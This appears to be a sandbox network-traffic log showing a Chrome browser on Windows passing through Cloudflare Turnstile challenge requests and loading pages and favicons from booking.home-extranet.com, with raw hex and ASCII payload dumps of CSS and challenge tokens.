2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 66 6c 65 78 2d 66 6c 6f 77 3a 72 6f 77 2d 72 65 76 65 72 Data Ascii: -compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{text-align:left;margin:0 12px}.size-compact .cb-container{margin:0 12px}.size-compact #logo{height:25px;margin-bottom:0}.size-compact #branding{text-align:right;flex-flow:row-rever
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 20 30 20 30 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 65 72 6d 73 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 66 2d 73 74 61 67 65 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 38 70 78 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 Data Ascii: -align:left;justify-content:flex-end;align-self:flex-start;margin:0 12px 0 0;padding-left:0;padding-right:0}.rtl.size-compact #terms{text-align:right}.rtl.size-compact #cf-stage{padding-right:48px}.rtl.size-compact .cb-container,.rtl.size-compact .cb-c{ma
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 20 75 6e 73 70 69 6e 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 72 6f 75 6e 64 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 30 20 31 30 30 20 30 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 32 30 30 70 78 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 72 6f 75 6e 64 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 7b 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 30 7d 2e 70 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 66 66 66 7d 2e 6f 66 66 Data Ascii: cubic-bezier(.65,0,.45,1) forwards unspin}.circle{stroke-width:3px;stroke-linecap:round;stroke:#038127;stroke-dasharray:0 100 0;stroke-dashoffset:200px;stroke-miterlimit:1;stroke-linejoin:round}.main-wrapper{border-spacing:0}.p1{fill:none;stroke:#fff}.off
2025-06-10 10:50:19 UTC	759	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 host: challenges.cloudflare.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image sec-fetch-storage-access: active referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: i
2025-06-10 10:50:19 UTC	181	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:19 GMT content-type: image/png content-length: 86 server: cloudflare cf-ray: 94d84ea0a9dc2cb4-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:19 UTC	749	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=94d84e9f18df2cb4&lang=auto HTTP/1.1 host: challenges.cloudflare.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script sec-fetch-storage-access: active referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1
2025-06-10 10:50:19 UTC	312	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:19 GMT content-type: application/javascript; charset=UTF-8 content-length: 138682 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 server: cloudflare cf-ray: 94d84ea0b9e32cb4-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:20 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1 host: challenges.cloudflare.com content-length: 4788 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" content-type: text/plain;charset=UTF-8 cf-chl: hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK cf-chl-ra: 0 sec-ch-ua-mobile: ?0 accept: / origin: https://challenges.cloudflare.com sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:20 UTC	1054	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:20 GMT content-type: text/plain; charset=UTF-8 cf-chl-gen: +qq6RWHm7aYWK8RBUEZXe/NAe3HbUmLRjxScZ4paCbHm6Ey1f9B3AxjDjpD5FNvA1zNbXsLbYBMdoM0epgGTIWarUQl5LUxSae+ql6JotgaJOY1s+/DfWBj2qP5dGIPLCMkvsLDlbIk+mxb+syGmmf96GI3lrZOmvSs1QDo4JHJf71L5S8e1YRpmJylRNtLsGimilzH4l9YNsXjynG8IbBMRnR8GLx3JeY3slWxL8998y1a1CLyREwyTkzuRwumdOe6JZNPU6Fb87fXdKl3pOrB4334qf7F9UFs0IMnwmLd1outqkc6jk9s78T+Oz8mf4uKvu+qpu4WT6cqjzSt1QCbQ4Z/fOU+ckrn4ltTyX7LJnyPV/vN3gYE+PPKVLKA53tWk6/eCDVsYpsTANpRzOt/QWvE2KtMmplpkHIvyife+Npc69sF6qE+FTtsfoYEk4FAp5tF+Jilk0PT/PkOQWfGsvr6H2pirqrzp/wjCO6dMS9KWP3L4hAsN6j6SnFBXX7V2RCopuCFLHpTn/0vnL6GtK8j+TFZ6ycMKBCYsYNdBQGjK+wKT7a1Wwrm1IPsMTIgWh0Mg+ERqR6vuuJP36m9vM6tCwaExuApUiYB8C2DjN9A0WlWBS8t+kzOQh8PcZeDMcS6z/gIZZKKPl+OqbWblfy1dnQjCH2z7SLm2BwrXDBmjvmyFOGM8tuFxok34mUIeFLMg8qnC595KFjx0R15Py7a7g9bzP9ChXvPD6ZnL9pGOIIkO6XWAh5x2EZzBG2HBogHr4b0+YyEhhUN1oA==$w7/pWaM1SOIeM15EQhYcgg== server: cloudflare cf-ray: 94d84ea67d9e2cb4-DFW content-encoding: br alt-svc: h3=":443"; ma=86400 content-length: 212444
2025-06-10 10:50:21 UTC	836	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/94d84e9f18df2cb4/1749552620570/c6979b60731d7d7dfcfe73baa9257c4687f1f18b3d9b49b29a79c9a7bed8ef8c/noWxTZKYSpKXXFL HTTP/1.1 host: challenges.cloudflare.com cache-control: max-age=0 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:21 UTC	1460	IN	HTTP/1.1 401 Unauthorized date: Tue, 10 Jun 2025 10:50:21 GMT content-type: text/plain; charset=utf-8 content-length: 1 www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gxpebYHMdfX38_nO6qSV8Rofx8Ys9m0mymnnJp77Y74wAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQMEAgKiAwIBMAOCAQ8AMIIBCgKCAQEAscjm_UO_k901rNdCKgLw5bvI4i6M_jDNCIXpfs2LRbtxwLOrUyplqVvML_hVlB5tIDMuj0ihhaOFHose-Y0_UjQnNUGE_vol46VvGgscTMtTjU4xINriap8AMTIygvljEBt6my-nBwkUGhY3U9v5iKC-eWR5bTfvrqFsuIVxafkSfhHqDXB4KLGNjvOOV71GGJ9x4yxA-C2OcULZ1uDDKuvAaMhuiWdF6OzSTXruP9yPg1vmuteavOW1re0YDbCbtK16PhHdSzWym7v_FrvId-2zf26j50FlTd_vl_DcKNDVCgWDoU0uX3cU6V3rSQoVXREEqPr-2ywSGru8ZuXRoQIDAQAB", max-age=20, PrivateToken challenge="AAIAHXNhdC5wYXQtaXNzdWVyLmNsb3VkZmxhcmUuY29tIMaXm2BzHX19_P5zuqklfEaH8fGLPZtJspp5yae-2O-MABljaGFsbGVuZ2VzLmNsb3VkZmxhcmUuY29t", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQMEAgKiAwIBMAOCAQ8AMIIBCgKCAQEAsLS4HBnLGydwK-bLQGRCaoyMsrXBRrDgQVmxS06j3UF0nYSd6GdTGCKIu1WV60eg-tJtTttfEVq7wHVQf4vzjYBidmCh88ebzxKv2GB6PES [TRUNCATED]
2025-06-10 10:50:24 UTC	802	OUT	GET /cdn-cgi/challenge-platform/h/b/d/94d84e9f18df2cb4/1749552620576/1K3_bi7h_dn-nye HTTP/1.1 host: challenges.cloudflare.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image sec-fetch-storage-access: active referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: i
2025-06-10 10:50:24 UTC	182	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:24 GMT content-type: image/png content-length: 385 server: cloudflare cf-ray: 94d84ebe4cdb2cb4-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:25 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1 host: challenges.cloudflare.com content-length: 40900 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" content-type: text/plain;charset=UTF-8 cf-chl: hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK cf-chl-ra: 0 sec-ch-ua-mobile: ?0 accept: / origin: https://challenges.cloudflare.com sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:25 UTC	325	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:25 GMT content-type: text/plain; charset=UTF-8 cf-chl-gen: uCAkQq32sv0oswNuL2Zm7DIlsNTH/P7ELLqFPyMeXyMyDDODLINVMOCEEuz5m3yE$Hv7jjtXAMxjjmFMOm3Bkxw== server: cloudflare cf-ray: 94d84ec368082cb4-DFW content-encoding: br alt-svc: h3=":443"; ma=86400 content-length: 22198
2025-06-10 10:50:35 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1 host: challenges.cloudflare.com content-length: 43320 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" content-type: text/plain;charset=UTF-8 cf-chl: hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK cf-chl-ra: 0 sec-ch-ua-mobile: ?0 accept: / origin: https://challenges.cloudflare.com sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:35 UTC	1460	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:35 GMT content-type: text/html; charset=UTF-8 cf-chl-out-s: Q2YXaEtViZEYJ6pqDZb/wjR3uixUFmEJZPcZLLWt1TlC9539A7t0mi/COXUrMIOLA2QjYPG+FlBYtMsBkLgYu8IkQszmklFVllXnEoICWhAXEjTHBCg+1V+PKaJ+vuVBjcnZmZYaqu4Vap1JXz5uCebO1D3NehC7Yl14+oQjVktv3IGbZ82H7JaMVPa2sbF8hgcSmQLLEh3S28+jT6EJcd9aJ4OASXVPQZ40MG55c8TaD02lgDzQN83UO/bXE5RKXBJ/NMrkYHRqvUcnUF5IRz/9uSKko8Od4/NnMmnM/y8C7nCxYRCGat4mExBiLztt5F3n0OMMWta5P83dZvh0aNALYhZx7DCTOtKd3zZtpa14oEi1zvWzidr5rJ5omKAW+8F9IWKLRsP8WHPFA84XK9tPd/+hx5/Em1YR/ZqwN3InRv2MIdtE0M5sFFtzddOSCa0SZ0+cjfJTG03BL1Radnhi9ARIeFt0mY2bQ9sG6LlO6TFHEPBRTnwq73fMtsj7WOcAIEzkr51zHZkMkAh12eLMoLhBjHZOEjcrCRxJt0Rhb4UduJ8uK28lFenmqOUHeZqEvZbQ6BAf7HoOTflPTKwwEciqZJuWVxshSbwRp0cHUBgA3H8z1LL4da8Pdr6wh7hh6yn7wD10AHh8rztXihpZFd88S/omIBqWovgf+6Ljc9YnFych4akeiE6McQO1S5fgGMMj7wVjqwZ0zgsSCEGVLaGgaRcGj3FYrrlIkQ3U0A7r6QA9ndRr3TOVk8utHL4neJklgpgDE4nm1gQAK7pkTHbSOM5A+UX5Drhei9uP93eRByCLWG7yqiQVz4vE83G4tnuJwNEVCm7A6tmuM0s+fcdxLYGhmVGIihZhR6TEjB+ZHxyprfclCbJ+qWsm4NPEWZHfj0HJmm3n4wwoTk96xqAu4KxLh050i4nELXHw47AWEcHHPS8C6MFTINOdyRCDscZtMZ/ozGfWIK1LB+GBgR8h5x1HgFs7NaA1PQ5b7Rf9ac [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49712	104.21.96.53	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:50:19 UTC	618	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1012553954:1749550391:soVn69VQi3bZZggzdjArh3CnFHj4n4q1Hz8Q1mUUqtA/94d84e959e6b69d0/DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg HTTP/1.1 host: booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:19 UTC	979	IN	HTTP/1.1 400 Bad Request date: Tue, 10 Jun 2025 10:50:19 GMT content-type: application/json content-length: 14 cf-ray: 94d84ea01e3d72f8-DFW cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 5/w2qwRZV0aWtD1V4b5Ul40edELRt9ILbwdIP7Mhxe6JwzuMF6mTI5WEhh64bq4bsg2qqk96hRrE0JgDWDh/sQ==$EAhBzZOXlR2pWtLUUCOFaA== report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=527U3qnPItoQqdkU8Ux9hmp2%2FG0yDSTXiiBRkvvf3bBWUiUANXWR%2Fe0cZLRpzEZSTR7SIGuQwh%2FYyFvE54qVX1ypeCVaTAIt9SvpVlvr8zg%2Fsv8KPYiTZRQay3gDkxSB9TQABiRkoDP1eZLf"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122888&min_rtt=122462&rtt_var=26473&sent=7&recv=10&lost=0&retrans=0&sent_bytes=3426&recv_bytes=1077&delivery_rate=32628&cwnd=238&unsent_bytes=0&cid=f898f5b78cb6667b&ts=173&x=0"
2025-06-10 10:50:19 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}
2025-06-10 10:50:19 UTC	425	OUT	GET /favicon.ico HTTP/1.1 host: booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu priority: u=1, i
2025-06-10 10:50:19 UTC	1020	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:19 GMT content-type: text/html; charset=UTF-8 cf-ray: 94d84ea01e3e72f8-DFW expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:19 GMT cf-cache-status: BYPASS report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hIrjyHnM6eknLzSZAXs5PQAMDHa4EsOK%2F6iogGE9hQe0xdUpxlCt%2FwvCKrVru02r5622e2QMiI7ze6nQKMCL4lXWo4FCnJfFbonSwGjksoPwo5FzGxCjKXNFYLKF5ffeXO7zW4szj114bl%2BT"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=124722&min_rtt=122462&rtt_var=18549&sent=11&recv=12&lost=0&retrans=0&sent_bytes=4245&recv_bytes=1108&delivery_rate=42887&cwnd=243&unsent_bytes=0&cid=f898f5b78cb6667b&ts=409&x=0"
2025-06-10 10:50:21 UTC	425	OUT	GET /favicon.ico HTTP/1.1 host: booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu priority: u=1, i
2025-06-10 10:50:21 UTC	1027	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:21 GMT content-type: text/html; charset=UTF-8 cf-ray: 94d84ead2afb72f8-DFW expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:21 GMT cf-cache-status: BYPASS report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OeKe7HaOgTHp9O3sLO0%2Bawv75t9uafXpCkigkShEru%2BDDPRJVEBxegymtV7%2F1h%2FZBSf9BfZMhO6JQaieCwU4ORgK1JVCsfSQWU8LngdcCqJpMBsDqXZBMd1lh%2B2zJ8t7gtv5Ij3UT8ZW%2FST7"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=124620&min_rtt=122462&rtt_var=14117&sent=14&recv=14&lost=0&retrans=0&sent_bytes=4895&recv_bytes=1153&delivery_rate=42887&cwnd=243&unsent_bytes=0&cid=f898f5b78cb6667b&ts=2488&x=0"
2025-06-10 10:50:36 UTC	664	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1012553954:1749550391:soVn69VQi3bZZggzdjArh3CnFHj4n4q1Hz8Q1mUUqtA/94d84e959e6b69d0/DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg HTTP/1.1 host: booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu priority: u=1, i
2025-06-10 10:50:36 UTC	984	IN	HTTP/1.1 400 Bad Request date: Tue, 10 Jun 2025 10:50:36 GMT content-type: application/json content-length: 14 cf-ray: 94d84f078a0972f8-DFW cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: xpbtmcIdRHdSZQVMO5a+izUurgp2CXxWpf0JFNccKyqXpKcsaggy0uW8prigN8uzZrI8bFTEF2xwzSRALfbrhw==$WT9GlPYFmOuetX+xcqe5zQ== report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wgMmEFK2RZc%2Fs%2FE8EcAiH0BUKgmcSm9VyLLlQT9n8bO2kpa5eNno9ZpkSHwUZ8tX0%2F0muTNHywlLE7GVAH7%2BFbj2c7aBUEiAvqhS17Fk4%2BjnD1eXn5QO3U9cSGc5eGiRRZo2msQkztEYphb5"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=124511&min_rtt=122462&rtt_var=10805&sent=17&recv=16&lost=0&retrans=0&sent_bytes=5416&recv_bytes=1198&delivery_rate=42887&cwnd=243&unsent_bytes=0&cid=f898f5b78cb6667b&ts=16713&x=0"
2025-06-10 10:50:36 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}
2025-06-10 10:50:36 UTC	425	OUT	GET /favicon.ico HTTP/1.1 host: booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu priority: u=1, i
